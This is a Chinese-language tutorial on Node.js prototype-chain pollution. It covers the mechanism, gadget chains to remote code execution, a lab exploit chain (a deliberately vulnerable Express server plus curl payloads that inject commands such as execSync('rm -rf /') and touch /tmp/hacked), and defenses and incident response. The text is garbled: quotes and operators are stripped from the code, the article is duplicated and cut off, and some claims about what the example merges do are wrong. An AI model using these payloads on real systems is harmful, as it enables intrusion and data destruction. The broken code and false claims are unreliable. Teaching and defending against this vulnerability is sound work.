1. 项目概述从一次“诡异”的请求说起几年前我在审计一个内部Node.js应用时遇到一个至今记忆犹新的场景。那是一个用于处理用户配置的后台服务功能很简单接收一个JSON对象将其中的配置项与默认配置合并然后存入数据库。在一次模糊测试中我随手构造了一个请求体{userPrefs: {theme: dark}, __proto__: {admin: true}}。当时只是抱着试试看的心态毕竟__proto__这个属性在JavaScript里太特殊了。结果让我后背一凉——服务在处理完这个请求后后续所有请求的默认配置里都凭空多出了一个admin: true的属性。这个“污染”效果是全局的、持久性的就像在应用的基因里偷偷插入了一段恶意代码。这就是我第一次亲手触发的原型链污染。原型链污染这个听起来有些学术的名词实际上是Node.js生态中一个极具威胁的漏洞模式。它不像SQL注入或XSS那样直接而是更隐蔽、更底层。攻击者通过操纵JavaScript对象最根本的继承机制——原型链来修改应用程序的“默认行为”。从污染全局对象属性到最终实现远程代码执行这条攻击路径在特定条件下清晰得可怕。对于任何构建或维护Node.js服务的开发者、安全工程师来说不理解原型链污染就等于在自家系统里埋下了一颗不知道何时会引爆的雷。本文将彻底拆解这个漏洞的原理、利用手法并分享从防御到实战排查的一线经验。2. 原型链污染的核心原理与JavaScript继承机制要理解污染必须先吃透原型链。这是JavaScript面向对象编程的基石也是它与其他语言最迥异的地方。2.1 什么是原型与原型链在JavaScript中每个对象都有一个内部属性[[Prototype]]在大多数环境中可以通过__proto__访问。当你试图访问一个对象的属性时如果该对象自身没有这个属性引擎就会去它的[[Prototype]]指向的对象上查找如果还没有就继续沿着这条链向上查找直到找到属性或到达链条的尽头null。这条查找路径就是原型链。// 一个简单的例子 function Person(name) { this.name name; } // 在原型上添加方法 Person.prototype.greet function() { console.log(Hello, Im ${this.name}); }; const alice new Person(Alice); const bob new Person(Bob); alice.greet(); // 输出: Hello, Im Alice bob.greet(); // 输出: Hello, Im Bob // alice和bob自身都没有greet方法是从Person.prototype上找到的 console.log(alice.hasOwnProperty(greet)); // false console.log(Object.getPrototypeOf(alice) Person.prototype); // true这里的关键在于Person.prototype是一个共享对象。所有由Person构造函数创建的实例其__proto__都指向这个共享对象。如果这个共享对象被修改那么所有实例的行为都会受到影响。2.2 污染是如何发生的污染发生的核心场景通常出现在对象合并、属性拷贝或深度赋值操作中。许多工具库如lodash.merge、jQuery.extend或开发者自己写的工具函数如果没有正确处理特殊的属性名如__proto__、constructor、prototype就会导致污染。看一个经典的漏洞代码function merge(target, source) { for (const key in source) { if (source.hasOwnProperty(key)) { target[key] source[key]; // 危险操作 } } return target; } const defaultConfig { isAdmin: false }; const userInput JSON.parse({__proto__: {isAdmin: true}}); merge({}, userInput); // 执行合并 // 污染发生后 console.log(defaultConfig.isAdmin); // 预期: false 实际: true console.log({}.isAdmin); // true 连新创建的空对象都被污染了在上面的merge函数中for...in循环会遍历出userInput对象的__proto__属性。当执行target[key] source[key]时如果key是__proto__并且target是一个普通对象那么这条赋值语句实际上会变成target.__proto__ source.__proto__。这直接修改了target对象的原型而target的原型是Object.prototype。于是Object.prototype被添加了一个isAdmin: true的属性。由于所有JavaScript对象默认都继承自Object.prototype这个污染就变成了全局性的。注意现代JavaScript引擎对直接设置__proto__的行为有了一些限制但在Node.js环境中通过Object.prototype上的__proto__的setter进行污染在特定版本下依然可能成功。更常见且危险的是通过constructor.prototype路径进行污染。2.3 污染路径不止__proto__除了__proto__另一个关键的污染路径是constructor。function merge(target, source) { for (const key in source) { // 仍然没有防护 target[key] source[key]; } } const obj {}; const maliciousPayload { constructor: { prototype: { polluted: true } } }; merge(obj, maliciousPayload); console.log({}.polluted); // true这里maliciousPayload.constructor本身是一个对象{prototype: {...}}。当target[key] source[key]执行key为constructor时它覆盖了obj的constructor属性。而obj.constructor原本指向Object函数。现在它被覆盖为一个包含prototype属性的普通对象。但关键在于在后续的属性访问中如果代码不慎访问了obj.constructor.prototype它现在指向了我们精心构造的maliciousPayload.constructor.prototype从而将polluted属性注入到了Object.prototype。这种手法比直接使用__proto__更隐蔽绕过了一些简单的字符串过滤。3. 从原型污染到远程代码执行的关键跳板单纯的污染一个属性可能只是导致逻辑错误。攻击者真正的目标是RCE。这需要一个“跳板”——一段现有的、可利用的代码其行为会因为我们污染了某个属性而发生危险改变。这个跳板通常被称为“Gadget”。3.1 寻找Gadget污染如何被“触发”Gadget可以存在于应用代码、第三方库甚至Node.js核心模块中。它们通常具有以下特征使用了被污染的属性代码执行路径中使用了来自对象且未经验证的属性名或值。导致了敏感操作该属性被用于文件路径、命令字符串、代码执行如eval、Function构造函数、模块加载等场景。一个教科书式的Gadget例子是模板引擎。假设一个应用使用了一个类似下面这样简单的模板渲染函数// 一个存在漏洞的模板渲染逻辑 function renderTemplate(templateStr, data) { // 危险直接将属性值拼接并执行 return templateStr.replace(/\{\{(\w)\}\}/g, (match, key) { return data[key]; // 如果data[key]来自被污染的原型链且是恶意代码... }); } // 更危险的场景使用eval或Function function dynamicEval(expression, context) { // 极度危险从context对象中动态取表达式并执行 const expr context.expression || 11; return eval(expr); // 如果expression属性被污染为恶意代码 }如果攻击者通过原型链污染向Object.prototype注入了一个expression属性其值为require(child_process).execSync(rm -rf /)那么当dynamicEval函数被调用时无论传入的context对象是什么只要它没有自身的expression属性就会从被污染的原型链上找到这个恶意值并执行。3.2 真实世界中的Gadget案例许多流行的库在特定版本中都曾是可利用的Gadget来源Lodash (CVE-2019-10744):lodash库在defaultsDeep、merge、set等函数中存在原型污染漏洞。攻击者可以利用它污染全局对象再结合其他代码如使用console.log格式化输出时如果污染了console对象的某个属性可能导致异常或后续的eval类操作实现RCE。PoC通常涉及污染Object.prototype的属性然后触发一个使用该属性的路径比如污染outputFunctionName属性影响某些模板的渲染行为。jQuery (CVE-2019-11358):jQuery.extend(true, {}, maliciousObject)在深度拷贝模式下存在原型污染。虽然直接RCE较难但可以结合前端其他漏洞扩大攻击面。Mongoose (CVE-2022-25647): 这个Node.js的MongoDB ODM库在其clone方法中存在原型污染。在Mongoose的上下文中污染可能导致查询过滤条件被篡改甚至结合服务器端逻辑实现注入。模板引擎如pug/jade: 一些模板引擎在渲染时会从数据对象中查找各种配置项如self、escape等。如果这些配置项可以通过原型链被污染就可能改变模板的渲染行为从HTML注入升级为代码执行。例如污染compileDebug或client等选项可能使得模板编译过程产生可执行的JavaScript代码。实操心得在代码审计或渗透测试中寻找Gadget是一个“逆向”过程。先通过已知的污染点如不安全的merge确认漏洞存在然后全局搜索哪些地方使用了可能被污染的属性。重点关注eval、new Function、setTimeout/setInterval传入字符串时、child_process模块的任何方法exec、execSync、spawn、fs模块的路径拼接、模块加载require的动态参数。4. 漏洞利用实战构造一个完整的攻击链理论说再多不如亲手试一次。下面我们模拟一个完整的、从污染到RCE的简易攻击场景。请注意以下所有实验请在完全隔离的虚拟机或沙箱环境中进行。4.1 环境搭建一个有漏洞的示例应用假设我们有一个简单的Node.js Express应用它提供了一个API来更新用户设置。// server.js - 存在漏洞的应用 const express require(express); const bodyParser require(body-parser); const _ require(lodash); // 使用旧版本lodash例如4.17.10 const app express(); app.use(bodyParser.json()); let userSettings { theme: light, notifications: true }; // 漏洞点使用存在原型污染漏洞的lodash.merge app.post(/update-settings, (req, res) { const userInput req.body.settings; // 危险操作使用不安全的深度合并 _.merge(userSettings, userInput); res.json({ message: Settings updated, settings: userSettings }); }); // 一个潜在的Gadget用于调试的“执行代码”端点现实中可能是内部管理功能 app.post(/debug, (req, res) { const code req.body.code; // 危险直接执行传入的代码 try { const result eval(code); res.json({ result: result.toString() }); } catch (err) { res.status(500).json({ error: err.message }); } }); // 另一个更隐蔽的Gadget动态加载模块 app.get(/load-module, (req, res) { const moduleName req.query.name || utils; // 危险动态require且模块名可能来自被污染的原型链 const module require(./modules/${moduleName}); res.json({ loaded: module.name }); }); app.listen(3000, () console.log(Server running on port 3000));这个应用有两个明显问题使用lodash.merge合并用户可控的输入已知在4.17.10及之前版本存在原型污染。提供了危险的/debug端点可直接执行任意代码。4.2 步骤一确认原型污染漏洞首先我们发送一个恶意请求来测试污染是否可行。# 使用curl发送POST请求 curl -X POST http://localhost:3000/update-settings \ -H Content-Type: application/json \ -d { settings: { theme: dark, __proto__: { polluted: yes } } }发送后我们可以通过另一个请求来验证污染是否成功。由于Object.prototype被污染任何新对象都会带有polluted属性。# 验证污染 curl -X POST http://localhost:3000/debug \ -H Content-Type: application/json \ -d { code: console.log(({}).polluted); return ({}).polluted }如果返回结果中包含yes说明原型污染成功。此时Object.prototype.polluted已经被设置为yes。4.3 步骤二寻找并利用Gadget实现RCE直接有/debug端点的情况比较少见。我们来看一个更常见的场景利用污染影响应用行为为后续攻击铺路。假设没有/debug端点但应用在/load-module端点中模块名是从req.query中获取。如果我们能污染Object.prototype使其包含一个name属性那么即使请求不传递name参数req.query.name也会因为原型链查找而得到这个被污染的值。但这里有个问题req.query是一个对象它的原型链并不直接是Object.prototypeExpress做了封装。我们需要寻找一个在请求处理流程中应用代码会访问的、继承自被污染对象的属性。一个更通用的Gadget可能隐藏在应用配置或第三方库的默认选项中。例如许多应用会有一个配置对象const config { appName: MyApp, logLevel: info, // ... 其他配置 };如果应用在某处有这样一段代码// 假设这段代码在某个工具函数或中间件里 const childProcess require(child_process); const logLevel config.logLevel || info; // 某个条件触发时执行一个日志清理脚本想象一下 if (logLevel debug) { const script config.cleanupScript || ./scripts/cleanup.log; // 危险如果config.cleanupScript被污染且值是一个系统命令 childProcess.execSync(script); }攻击者就可以通过原型污染修改config对象的原型注入cleanupScript属性。因为config对象本身没有cleanupScript属性当代码执行config.cleanupScript || ./scripts/cleanup.log时就会从被污染的原型链上找到恶意值。构造攻击Payload我们的目标是污染Object.prototype使其包含一个cleanupScript属性值为我们要执行的命令。# 污染Object.prototype注入cleanupScript属性 curl -X POST http://localhost:3000/update-settings \ -H Content-Type: application/json \ -d { settings: { __proto__: { cleanupScript: touch /tmp/hacked; echo RCE成功 /tmp/hacked } } }然后我们需要触发那个使用config.cleanupScript的代码路径。这可能需要另一个正常的API调用或者等待某个定时任务执行。一旦条件满足比如logLevel被设为debugchildProcess.execSync就会执行我们注入的命令touch /tmp/hacked。4.4 利用链的复杂性在实际攻击中从污染到RCE的路径往往很长需要串联多个小环节污染点找到一个不安全的对象合并操作。传播确保被污染的原型通常是Object.prototype能被目标Gadget代码访问到。Gadget找到一段代码其行为会随着我们注入的属性值而改变并且能导致代码执行。触发找到触发Gadget代码执行的方法特定的API调用、特定的用户操作等。这需要攻击者对目标应用的代码流有深入的了解或者依赖已知的、在流行库中公开的Gadget。5. 防御策略从编码到依赖的全方位加固知道了攻击原理防御就有了方向。防御原型污染需要多层次、纵深化的策略。5.1 编码层安全的对象操作这是最根本的防御。永远不要相信来自用户输入的对象结构。1. 使用安全的合并函数避免使用有问题的lodash.merge旧版本。升级到已修复的版本lodash.merge在4.17.12及以上版本修复了CVE-2019-10744。使用显式赋值或安全的工具。对于浅合并Object.assign()是安全的因为它不会遍历原型链。对于深合并可以考虑使用lodash.mergeWith并自定义合并逻辑或者使用像deepmerge这样的库注意其配置。自己实现合并函数时必须过滤掉敏感键名。// 一个安全的、过滤了原型键名的浅合并函数 function safeAssign(target, ...sources) { const sensitiveKeys [__proto__, constructor, prototype]; for (const source of sources) { for (const key in source) { if (source.hasOwnProperty(key) !sensitiveKeys.includes(key)) { target[key] source[key]; } } } return target; } // 或者更彻底地使用Object.create(null)创建无原型的对象作为目标 const safeTarget Object.create(null); Object.assign(safeTarget, userInput); // 即使userInput有__proto__safeTarget也没有原型链可被修改2. 冻结或密封关键对象使用Object.freeze()冻结Object.prototype可以防止其被添加新属性。但这是一种激进的做法可能会影响某些库的正常运行。Object.seal()或Object.preventExtensions()也可以限制对象的修改。// 在应用启动时考虑冻结Object.prototype测试环境充分验证后 if (process.env.NODE_ENV production) { Object.freeze(Object.prototype); // 注意这可能会破坏某些依赖动态修改Object.prototype的库 }3. 使用Map代替Object对于纯粹的键值对存储使用Map对象。Map的键可以是任何类型且不存在原型链机制从根本上免疫原型污染。const configMap new Map(); configMap.set(appName, MyApp); // 用户输入 const userInput { __proto__: { polluted: yes } }; for (const [key, value] of Object.entries(userInput)) { configMap.set(key, value); // 安全Map不会受到原型污染影响 }5.2 依赖管理锁住安全的版本第三方库是原型污染的重灾区。1. 定期更新依赖使用npm audit或yarn audit定期检查项目依赖中的已知漏洞。关注lodash、jQuery、mongoose、hoek等知名库的安全公告。2. 使用依赖锁定文件确保package-lock.json或yarn.lock文件被提交到版本库并在CI/CD和部署中使用避免意外安装到有漏洞的版本。3. 考虑使用Snyk或Dependabot集成这些安全工具到开发流程中自动创建修复漏洞的Pull Request。5.3 运行时防护与安全审计1. 输入验证与净化对所有传入的JSON数据在解析后进行键名过滤。可以使用像validator这样的库或者自定义中间件。// 一个简单的净化中间件示例 app.use((req, res, next) { const sanitize (obj) { if (obj typeof obj object) { // 删除可疑键名 delete obj.__proto__; delete obj.constructor; delete obj.prototype; // 递归处理嵌套对象 Object.values(obj).forEach(sanitize); } return obj; }; if (req.body) sanitize(req.body); if (req.query) sanitize(req.query); next(); });注意这种过滤可能不彻底因为攻击者可能使用Object.create(null)创建无原型对象来绕过hasOwnProperty检查或者使用其他隐蔽的污染链。它应作为一道补充防线而非主要手段。2. 静态代码分析在CI/CD流水线中集成静态应用安全测试工具。一些SAST工具能够检测出不安全的对象合并模式。3. 安全编码规范在团队中制定规范禁止使用不安全的深度合并函数处理不可信数据。代码审查时重点关注对象操作、属性赋值和动态代码执行eval、new Function相关的代码。6. 漏洞排查与应急响应实战指南当怀疑或确认系统存在原型链污染漏洞时应该怎么做6.1 排查如何发现污染1. 监控异常属性在开发或测试环境中可以在应用启动后定期检查Object.prototype是否被添加了未知属性。// 监控脚本示例 const originalProto Object.getOwnPropertyNames(Object.prototype); setInterval(() { const currentProto Object.getOwnPropertyNames(Object.prototype); const newProps currentProto.filter(prop !originalProto.includes(prop)); if (newProps.length 0) { console.error([警报] Object.prototype被添加了新属性: ${newProps.join(, )}); // 立即报警或记录详细堆栈 console.trace(); } }, 5000); // 每5秒检查一次2. 日志分析仔细审查访问日志寻找包含__proto__、constructor、prototype等关键词的请求。攻击者可能在尝试探测漏洞。3. 动态分析工具使用像Contrast Security、Data Theorem等运行时应用自我保护产品它们可以检测并阻止原型污染攻击。6.2 应急响应漏洞确认后的步骤一旦确认漏洞被利用必须立即行动。隔离与遏制如果可能立即将受影响的服务实例从负载均衡中摘除阻止攻击流量。审查并回滚到最近一个已知安全的代码版本或部署镜像。更改所有相关系统的密码和密钥假设攻击者可能已获得访问权限。取证与影响评估保留完整的日志、受影响实例的内存快照和磁盘镜像。分析日志确定攻击入口点、攻击Payload和可能的数据泄露范围。检查系统是否被植入了后门、挖矿程序或勒索软件。根因修复根据排查结果定位到存在不安全对象操作的代码行。应用前述的防御策略进行修复升级库、重写合并逻辑、增加输入过滤等。修复后进行全面的安全测试包括针对该漏洞的专项渗透测试。复盘与加固撰写安全事件报告记录时间线、根本原因、修复措施和教训。在全团队范围内进行安全意识培训强调安全处理用户输入的重要性。考虑引入更严格的安全开发流程和自动化安全工具。6.3 常见问题排查速查表问题现象可能原因排查步骤应用行为异常所有请求返回相同错误数据Object.prototype上的某个共享属性被污染影响了所有对象1. 检查Object.prototype上的属性。2. 审查最近处理对象合并的代码。3. 分析请求日志寻找可疑Payload。第三方库突然抛出奇怪的“未定义属性”错误原型污染导致库内部依赖的某个默认属性被覆盖或删除1. 确认使用的库版本是否存在已知原型污染漏洞。2. 在库初始化后检查关键配置对象的原型链。服务器执行了未知命令如curl外连污染导致child_process相关方法的参数被篡改1. 立即检查进程和网络连接。2. 搜索代码中所有exec、spawn等调用查看参数来源。3. 审查传入这些参数的上游对象是否可能被污染。无法通过简单过滤__proto__阻止攻击攻击者使用了constructor.prototype或其他隐蔽的污染链1. 使用更全面的过滤列表__proto__constructorprototype。2. 考虑使用Object.create(null)创建纯净对象作为合并目标。7. 深入思考原型污染与更广阔的攻击面原型链污染的魅力或者说危险性在于它的“基础性”。它不只是一个单独的漏洞而是一种漏洞模式可以与其他漏洞结合产生“112”的效果。结合客户端漏洞如果污染发生在服务端但被污染的属性最终被序列化到发送给客户端的JavaScript中就可能引发客户端的DOM型XSS。因为客户端的JavaScript对象同样继承自Object.prototype。扩大权限提升在复杂的应用中污染可以用来修改权限检查逻辑。例如如果有一个isAdmin函数从用户对象的role属性判断而role属性可能从被污染的原型链中获取一个假值那么普通用户就可能被提升为管理员。作为持久化后门一旦Object.prototype被成功污染这个污染状态会在当前Node.js进程的整个生命周期内持续存在除非进程重启。攻击者可以注入一个极其隐蔽的后门只在特定条件下触发。因此对原型链污染的防御不能停留在“修复一个合并函数”的层面。它要求开发者对JavaScript语言特性有深刻理解对安全编码有持续的意识并将纵深防御的理念贯穿于开发、测试、部署和运维的全过程。每一次对象的赋值每一次属性的访问在处理不可信数据时都需要多问一句“它的原型链安全吗”
Node.js原型链污染漏洞:原理、利用与防御实战指南
1. 项目概述从一次“诡异”的请求说起几年前我在审计一个内部Node.js应用时遇到一个至今记忆犹新的场景。那是一个用于处理用户配置的后台服务功能很简单接收一个JSON对象将其中的配置项与默认配置合并然后存入数据库。在一次模糊测试中我随手构造了一个请求体{userPrefs: {theme: dark}, __proto__: {admin: true}}。当时只是抱着试试看的心态毕竟__proto__这个属性在JavaScript里太特殊了。结果让我后背一凉——服务在处理完这个请求后后续所有请求的默认配置里都凭空多出了一个admin: true的属性。这个“污染”效果是全局的、持久性的就像在应用的基因里偷偷插入了一段恶意代码。这就是我第一次亲手触发的原型链污染。原型链污染这个听起来有些学术的名词实际上是Node.js生态中一个极具威胁的漏洞模式。它不像SQL注入或XSS那样直接而是更隐蔽、更底层。攻击者通过操纵JavaScript对象最根本的继承机制——原型链来修改应用程序的“默认行为”。从污染全局对象属性到最终实现远程代码执行这条攻击路径在特定条件下清晰得可怕。对于任何构建或维护Node.js服务的开发者、安全工程师来说不理解原型链污染就等于在自家系统里埋下了一颗不知道何时会引爆的雷。本文将彻底拆解这个漏洞的原理、利用手法并分享从防御到实战排查的一线经验。2. 原型链污染的核心原理与JavaScript继承机制要理解污染必须先吃透原型链。这是JavaScript面向对象编程的基石也是它与其他语言最迥异的地方。2.1 什么是原型与原型链在JavaScript中每个对象都有一个内部属性[[Prototype]]在大多数环境中可以通过__proto__访问。当你试图访问一个对象的属性时如果该对象自身没有这个属性引擎就会去它的[[Prototype]]指向的对象上查找如果还没有就继续沿着这条链向上查找直到找到属性或到达链条的尽头null。这条查找路径就是原型链。// 一个简单的例子 function Person(name) { this.name name; } // 在原型上添加方法 Person.prototype.greet function() { console.log(Hello, Im ${this.name}); }; const alice new Person(Alice); const bob new Person(Bob); alice.greet(); // 输出: Hello, Im Alice bob.greet(); // 输出: Hello, Im Bob // alice和bob自身都没有greet方法是从Person.prototype上找到的 console.log(alice.hasOwnProperty(greet)); // false console.log(Object.getPrototypeOf(alice) Person.prototype); // true这里的关键在于Person.prototype是一个共享对象。所有由Person构造函数创建的实例其__proto__都指向这个共享对象。如果这个共享对象被修改那么所有实例的行为都会受到影响。2.2 污染是如何发生的污染发生的核心场景通常出现在对象合并、属性拷贝或深度赋值操作中。许多工具库如lodash.merge、jQuery.extend或开发者自己写的工具函数如果没有正确处理特殊的属性名如__proto__、constructor、prototype就会导致污染。看一个经典的漏洞代码function merge(target, source) { for (const key in source) { if (source.hasOwnProperty(key)) { target[key] source[key]; // 危险操作 } } return target; } const defaultConfig { isAdmin: false }; const userInput JSON.parse({__proto__: {isAdmin: true}}); merge({}, userInput); // 执行合并 // 污染发生后 console.log(defaultConfig.isAdmin); // 预期: false 实际: true console.log({}.isAdmin); // true 连新创建的空对象都被污染了在上面的merge函数中for...in循环会遍历出userInput对象的__proto__属性。当执行target[key] source[key]时如果key是__proto__并且target是一个普通对象那么这条赋值语句实际上会变成target.__proto__ source.__proto__。这直接修改了target对象的原型而target的原型是Object.prototype。于是Object.prototype被添加了一个isAdmin: true的属性。由于所有JavaScript对象默认都继承自Object.prototype这个污染就变成了全局性的。注意现代JavaScript引擎对直接设置__proto__的行为有了一些限制但在Node.js环境中通过Object.prototype上的__proto__的setter进行污染在特定版本下依然可能成功。更常见且危险的是通过constructor.prototype路径进行污染。2.3 污染路径不止__proto__除了__proto__另一个关键的污染路径是constructor。function merge(target, source) { for (const key in source) { // 仍然没有防护 target[key] source[key]; } } const obj {}; const maliciousPayload { constructor: { prototype: { polluted: true } } }; merge(obj, maliciousPayload); console.log({}.polluted); // true这里maliciousPayload.constructor本身是一个对象{prototype: {...}}。当target[key] source[key]执行key为constructor时它覆盖了obj的constructor属性。而obj.constructor原本指向Object函数。现在它被覆盖为一个包含prototype属性的普通对象。但关键在于在后续的属性访问中如果代码不慎访问了obj.constructor.prototype它现在指向了我们精心构造的maliciousPayload.constructor.prototype从而将polluted属性注入到了Object.prototype。这种手法比直接使用__proto__更隐蔽绕过了一些简单的字符串过滤。3. 从原型污染到远程代码执行的关键跳板单纯的污染一个属性可能只是导致逻辑错误。攻击者真正的目标是RCE。这需要一个“跳板”——一段现有的、可利用的代码其行为会因为我们污染了某个属性而发生危险改变。这个跳板通常被称为“Gadget”。3.1 寻找Gadget污染如何被“触发”Gadget可以存在于应用代码、第三方库甚至Node.js核心模块中。它们通常具有以下特征使用了被污染的属性代码执行路径中使用了来自对象且未经验证的属性名或值。导致了敏感操作该属性被用于文件路径、命令字符串、代码执行如eval、Function构造函数、模块加载等场景。一个教科书式的Gadget例子是模板引擎。假设一个应用使用了一个类似下面这样简单的模板渲染函数// 一个存在漏洞的模板渲染逻辑 function renderTemplate(templateStr, data) { // 危险直接将属性值拼接并执行 return templateStr.replace(/\{\{(\w)\}\}/g, (match, key) { return data[key]; // 如果data[key]来自被污染的原型链且是恶意代码... }); } // 更危险的场景使用eval或Function function dynamicEval(expression, context) { // 极度危险从context对象中动态取表达式并执行 const expr context.expression || 11; return eval(expr); // 如果expression属性被污染为恶意代码 }如果攻击者通过原型链污染向Object.prototype注入了一个expression属性其值为require(child_process).execSync(rm -rf /)那么当dynamicEval函数被调用时无论传入的context对象是什么只要它没有自身的expression属性就会从被污染的原型链上找到这个恶意值并执行。3.2 真实世界中的Gadget案例许多流行的库在特定版本中都曾是可利用的Gadget来源Lodash (CVE-2019-10744):lodash库在defaultsDeep、merge、set等函数中存在原型污染漏洞。攻击者可以利用它污染全局对象再结合其他代码如使用console.log格式化输出时如果污染了console对象的某个属性可能导致异常或后续的eval类操作实现RCE。PoC通常涉及污染Object.prototype的属性然后触发一个使用该属性的路径比如污染outputFunctionName属性影响某些模板的渲染行为。jQuery (CVE-2019-11358):jQuery.extend(true, {}, maliciousObject)在深度拷贝模式下存在原型污染。虽然直接RCE较难但可以结合前端其他漏洞扩大攻击面。Mongoose (CVE-2022-25647): 这个Node.js的MongoDB ODM库在其clone方法中存在原型污染。在Mongoose的上下文中污染可能导致查询过滤条件被篡改甚至结合服务器端逻辑实现注入。模板引擎如pug/jade: 一些模板引擎在渲染时会从数据对象中查找各种配置项如self、escape等。如果这些配置项可以通过原型链被污染就可能改变模板的渲染行为从HTML注入升级为代码执行。例如污染compileDebug或client等选项可能使得模板编译过程产生可执行的JavaScript代码。实操心得在代码审计或渗透测试中寻找Gadget是一个“逆向”过程。先通过已知的污染点如不安全的merge确认漏洞存在然后全局搜索哪些地方使用了可能被污染的属性。重点关注eval、new Function、setTimeout/setInterval传入字符串时、child_process模块的任何方法exec、execSync、spawn、fs模块的路径拼接、模块加载require的动态参数。4. 漏洞利用实战构造一个完整的攻击链理论说再多不如亲手试一次。下面我们模拟一个完整的、从污染到RCE的简易攻击场景。请注意以下所有实验请在完全隔离的虚拟机或沙箱环境中进行。4.1 环境搭建一个有漏洞的示例应用假设我们有一个简单的Node.js Express应用它提供了一个API来更新用户设置。// server.js - 存在漏洞的应用 const express require(express); const bodyParser require(body-parser); const _ require(lodash); // 使用旧版本lodash例如4.17.10 const app express(); app.use(bodyParser.json()); let userSettings { theme: light, notifications: true }; // 漏洞点使用存在原型污染漏洞的lodash.merge app.post(/update-settings, (req, res) { const userInput req.body.settings; // 危险操作使用不安全的深度合并 _.merge(userSettings, userInput); res.json({ message: Settings updated, settings: userSettings }); }); // 一个潜在的Gadget用于调试的“执行代码”端点现实中可能是内部管理功能 app.post(/debug, (req, res) { const code req.body.code; // 危险直接执行传入的代码 try { const result eval(code); res.json({ result: result.toString() }); } catch (err) { res.status(500).json({ error: err.message }); } }); // 另一个更隐蔽的Gadget动态加载模块 app.get(/load-module, (req, res) { const moduleName req.query.name || utils; // 危险动态require且模块名可能来自被污染的原型链 const module require(./modules/${moduleName}); res.json({ loaded: module.name }); }); app.listen(3000, () console.log(Server running on port 3000));这个应用有两个明显问题使用lodash.merge合并用户可控的输入已知在4.17.10及之前版本存在原型污染。提供了危险的/debug端点可直接执行任意代码。4.2 步骤一确认原型污染漏洞首先我们发送一个恶意请求来测试污染是否可行。# 使用curl发送POST请求 curl -X POST http://localhost:3000/update-settings \ -H Content-Type: application/json \ -d { settings: { theme: dark, __proto__: { polluted: yes } } }发送后我们可以通过另一个请求来验证污染是否成功。由于Object.prototype被污染任何新对象都会带有polluted属性。# 验证污染 curl -X POST http://localhost:3000/debug \ -H Content-Type: application/json \ -d { code: console.log(({}).polluted); return ({}).polluted }如果返回结果中包含yes说明原型污染成功。此时Object.prototype.polluted已经被设置为yes。4.3 步骤二寻找并利用Gadget实现RCE直接有/debug端点的情况比较少见。我们来看一个更常见的场景利用污染影响应用行为为后续攻击铺路。假设没有/debug端点但应用在/load-module端点中模块名是从req.query中获取。如果我们能污染Object.prototype使其包含一个name属性那么即使请求不传递name参数req.query.name也会因为原型链查找而得到这个被污染的值。但这里有个问题req.query是一个对象它的原型链并不直接是Object.prototypeExpress做了封装。我们需要寻找一个在请求处理流程中应用代码会访问的、继承自被污染对象的属性。一个更通用的Gadget可能隐藏在应用配置或第三方库的默认选项中。例如许多应用会有一个配置对象const config { appName: MyApp, logLevel: info, // ... 其他配置 };如果应用在某处有这样一段代码// 假设这段代码在某个工具函数或中间件里 const childProcess require(child_process); const logLevel config.logLevel || info; // 某个条件触发时执行一个日志清理脚本想象一下 if (logLevel debug) { const script config.cleanupScript || ./scripts/cleanup.log; // 危险如果config.cleanupScript被污染且值是一个系统命令 childProcess.execSync(script); }攻击者就可以通过原型污染修改config对象的原型注入cleanupScript属性。因为config对象本身没有cleanupScript属性当代码执行config.cleanupScript || ./scripts/cleanup.log时就会从被污染的原型链上找到恶意值。构造攻击Payload我们的目标是污染Object.prototype使其包含一个cleanupScript属性值为我们要执行的命令。# 污染Object.prototype注入cleanupScript属性 curl -X POST http://localhost:3000/update-settings \ -H Content-Type: application/json \ -d { settings: { __proto__: { cleanupScript: touch /tmp/hacked; echo RCE成功 /tmp/hacked } } }然后我们需要触发那个使用config.cleanupScript的代码路径。这可能需要另一个正常的API调用或者等待某个定时任务执行。一旦条件满足比如logLevel被设为debugchildProcess.execSync就会执行我们注入的命令touch /tmp/hacked。4.4 利用链的复杂性在实际攻击中从污染到RCE的路径往往很长需要串联多个小环节污染点找到一个不安全的对象合并操作。传播确保被污染的原型通常是Object.prototype能被目标Gadget代码访问到。Gadget找到一段代码其行为会随着我们注入的属性值而改变并且能导致代码执行。触发找到触发Gadget代码执行的方法特定的API调用、特定的用户操作等。这需要攻击者对目标应用的代码流有深入的了解或者依赖已知的、在流行库中公开的Gadget。5. 防御策略从编码到依赖的全方位加固知道了攻击原理防御就有了方向。防御原型污染需要多层次、纵深化的策略。5.1 编码层安全的对象操作这是最根本的防御。永远不要相信来自用户输入的对象结构。1. 使用安全的合并函数避免使用有问题的lodash.merge旧版本。升级到已修复的版本lodash.merge在4.17.12及以上版本修复了CVE-2019-10744。使用显式赋值或安全的工具。对于浅合并Object.assign()是安全的因为它不会遍历原型链。对于深合并可以考虑使用lodash.mergeWith并自定义合并逻辑或者使用像deepmerge这样的库注意其配置。自己实现合并函数时必须过滤掉敏感键名。// 一个安全的、过滤了原型键名的浅合并函数 function safeAssign(target, ...sources) { const sensitiveKeys [__proto__, constructor, prototype]; for (const source of sources) { for (const key in source) { if (source.hasOwnProperty(key) !sensitiveKeys.includes(key)) { target[key] source[key]; } } } return target; } // 或者更彻底地使用Object.create(null)创建无原型的对象作为目标 const safeTarget Object.create(null); Object.assign(safeTarget, userInput); // 即使userInput有__proto__safeTarget也没有原型链可被修改2. 冻结或密封关键对象使用Object.freeze()冻结Object.prototype可以防止其被添加新属性。但这是一种激进的做法可能会影响某些库的正常运行。Object.seal()或Object.preventExtensions()也可以限制对象的修改。// 在应用启动时考虑冻结Object.prototype测试环境充分验证后 if (process.env.NODE_ENV production) { Object.freeze(Object.prototype); // 注意这可能会破坏某些依赖动态修改Object.prototype的库 }3. 使用Map代替Object对于纯粹的键值对存储使用Map对象。Map的键可以是任何类型且不存在原型链机制从根本上免疫原型污染。const configMap new Map(); configMap.set(appName, MyApp); // 用户输入 const userInput { __proto__: { polluted: yes } }; for (const [key, value] of Object.entries(userInput)) { configMap.set(key, value); // 安全Map不会受到原型污染影响 }5.2 依赖管理锁住安全的版本第三方库是原型污染的重灾区。1. 定期更新依赖使用npm audit或yarn audit定期检查项目依赖中的已知漏洞。关注lodash、jQuery、mongoose、hoek等知名库的安全公告。2. 使用依赖锁定文件确保package-lock.json或yarn.lock文件被提交到版本库并在CI/CD和部署中使用避免意外安装到有漏洞的版本。3. 考虑使用Snyk或Dependabot集成这些安全工具到开发流程中自动创建修复漏洞的Pull Request。5.3 运行时防护与安全审计1. 输入验证与净化对所有传入的JSON数据在解析后进行键名过滤。可以使用像validator这样的库或者自定义中间件。// 一个简单的净化中间件示例 app.use((req, res, next) { const sanitize (obj) { if (obj typeof obj object) { // 删除可疑键名 delete 